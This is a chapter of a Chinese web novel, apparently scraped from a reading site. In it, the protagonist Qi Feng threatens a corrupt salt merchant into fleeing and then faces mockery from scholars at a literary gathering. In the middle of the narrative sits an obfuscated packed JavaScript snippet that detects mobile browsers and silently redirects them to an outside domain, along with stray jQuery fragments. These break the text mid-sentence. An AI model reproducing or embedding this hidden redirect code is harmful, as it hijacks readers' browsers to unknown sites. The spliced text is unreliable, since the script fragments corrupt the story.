第三百四十九章 盐商

作品:《纨绔世子,捡个女帝当老婆

    可齐枫接下来的话,却让他脸上的笑容瞬间僵住。


    “权衡利弊?”齐枫缓缓站起身,目光如同两道冰冷的箭矢,直刺沈万金,“就凭你们这些靠着官盐专营、囤积居奇、盘剥百姓起家的蠹虫,也配跟我谈利弊?也配威胁我齐枫?”


    他的声音不高,却带着一股无形的、令人心悸的威压,瞬间笼罩了整个前厅!


    那几个原本眼神精悍的护卫,被这气势一压,竟不由自主地后退了半步,脸上露出骇然之色!


    沈万金更是被骂得脸色铁青,浑身肥肉都在颤抖,指着齐枫:“你……你敢骂我?!”


    “骂你?”齐枫嗤笑一声,“我只是在陈述事实。沈万金,你当真以为你们盐商总会可以一手遮天?你当真以为,你们那些见不得光的勾当,没人知道?”


    他一步步走向沈万金,每踏前一步,气势便强盛一分:“需要我提醒你吗?去年江淮盐税短缺三十万两,真的是因为盐场减产?需要我提醒你吗?你们暗中将官盐走私给北漠,换取皮**马匹,这笔账,朝廷若是追究下来,你沈家有几个脑袋够砍?!”


    齐枫每说一句,沈万金的脸色就白一分,到最后已是面无人色,冷汗如同瀑布般从额头滚落!他惊恐地看着齐枫,如同看着一个魔鬼!


    这些事,都是盐商总会内部最高级别的机密!齐枫怎么可能知道得如此清楚?!连具体数额、走私渠道都一清二楚?!


    “你……你胡说八道!血口喷人!”沈万金色厉内荏地吼道,但颤抖的声音已经出卖了他内心的恐惧。


    “是不是血口喷人,你心里清楚。”齐枫在他面前站定,居高临下地看着他,眼神冰冷,“沈万金,给我听好了。霓裳锦的事,你想都别想。另外,带着你的人,立刻滚出我的锦绣阁。若是再敢来聒噪,或者敢在背后耍什么花样……”


    齐枫的声音陡然转厉,如同寒冬腊月的冰风:“我不介意将你们盐商总会那些龌龊勾当,全都抖落出来,看看是你们盐商的脖子硬,还是朝廷的刀快!”


    “滚!”


    最后一个字,如同惊雷炸响,带着一股强大的力量和恐怖的精神威压!


    沈万金吓得浑身一哆嗦,差点瘫软在地,被他身后的护卫连忙扶住。


    他再也不敢看齐枫那冰冷的眼神,如同丧家之犬般,带着一群同样面如土色的盐商,连滚爬爬地逃出了锦绣阁,狼狈不堪!


    看着他们仓惶逃离的背影,周子陵和徐远只觉得胸中一口恶气尽出,畅快淋漓!


    “齐兄!太解气了!你看沈万金那肥猪,吓得都快尿裤子了!”周子陵兴奋地喊道。


    南宫玥也松了口气,美眸中异彩连连地看着齐枫。


    她没想到,齐枫竟然掌握了盐商如此致命的把柄,三言两语就将不可一世的沈万金吓得屁滚尿流。


    齐枫神色恢复平静,仿佛刚才只是赶走了几只苍蝇。


    他淡淡道:“盐商贪婪,目空一切,是该有人敲打敲打了。经此一事,他们短时间内应该不敢再来自找没趣。”


    他看向南宫玥:“不过,盐商势力庞大,睚眦必报,我们也要小心他们暗中使绊子。通知下去,加强各处产业的守卫,尤其是运输环节,要多加留意。”


    “我明白。”南宫玥郑重点头。


    沈万金在锦绣阁吃瘪的消息,如同长了翅膀,迅速传开。


    盐商总会那边虽然恨得牙痒痒,但投鼠忌器,短时间内倒也不敢再明着来找麻烦。


    府城似乎又恢复了往日的平静。


    不管怎么样,齐枫在府城的风头太盛,终究还是引来了更多人的嫉妒和不满。


    尤其是在文人士子圈中,一些自诩清高、看不惯齐枫“幸进”的所谓“清流”,开始暗中串联,准备在文采上打压齐枫的气焰,让他出个丑。


    机会很快到来。


    府城学宫为了迎接春日,举办了一场名为“春熙文会”的雅集,邀请了府城及周边州郡的知名文人雅士参加。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16556569|180032||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    br>齐枫作为新科解元、名动江南的才子,自然也在受邀之列。


    文会设在学宫内的“明伦堂”,环境清雅,与会者皆是宽袍博带的文人,气氛看似风雅和谐,实则暗藏机锋。


    齐枫本无意参加这种聚会,但架不住周子陵和徐远的怂恿,加上赵明德也希望他能在入京前多与士林交流,便勉强前来。


    他依旧是一身简单的青衫,在一众华服文人中显得格外朴素,却也格外醒目。


    文会开始,无非是饮酒赋诗,品评文章。


    起初倒也正常,众人互相唱和,气氛融洽。


    但酒过三巡之后,一些不和谐的声音便开始出现了。


    一个留着山羊胡、面色枯黄的老学究,乃是府城有名的“理学大家”,姓孙,名守拙。


    他端着酒杯,踱步到齐枫面前,故作姿态地打量了他几眼,慢悠悠地道:“齐解元年轻有为,诗才敏捷,老夫早有耳闻。尤其是那首《水调歌头》,更是传唱大江南北,连京城都为之震动啊。”


    他话锋一转,语气带着一丝讥诮:“不过,老夫听闻,齐解元似乎于经义一道,涉猎不深?尤其对朱子之学,颇有微词?须知,科举取士,首重经义,诗词不过是末技小道。齐解元若想在这仕途上走得更远,还需在经义上下功夫,恪守圣人之道,方是正理啊。”


    这话看似劝勉,实则是在指责齐枫不学无术,只会写些花哨诗词,根基浅薄,不懂真正的圣贤学问。


    立刻便有几人附和:


    “孙老所言极是!经义乃根本,诗词不过是锦上添花。”


    “齐解元诗词虽佳,但若不通经义,终究是空中楼阁,难以持久。”


    “是啊,我辈读书人,当以圣贤之道为立身之本,岂能沉溺于诗词小道?”


    这些人显然是有备而来,一唱一和,试图在齐枫最擅长的领域之外,找一个突破口来打击他。


    周子陵和徐远气得脸色发青,却又不好在这种场合发作。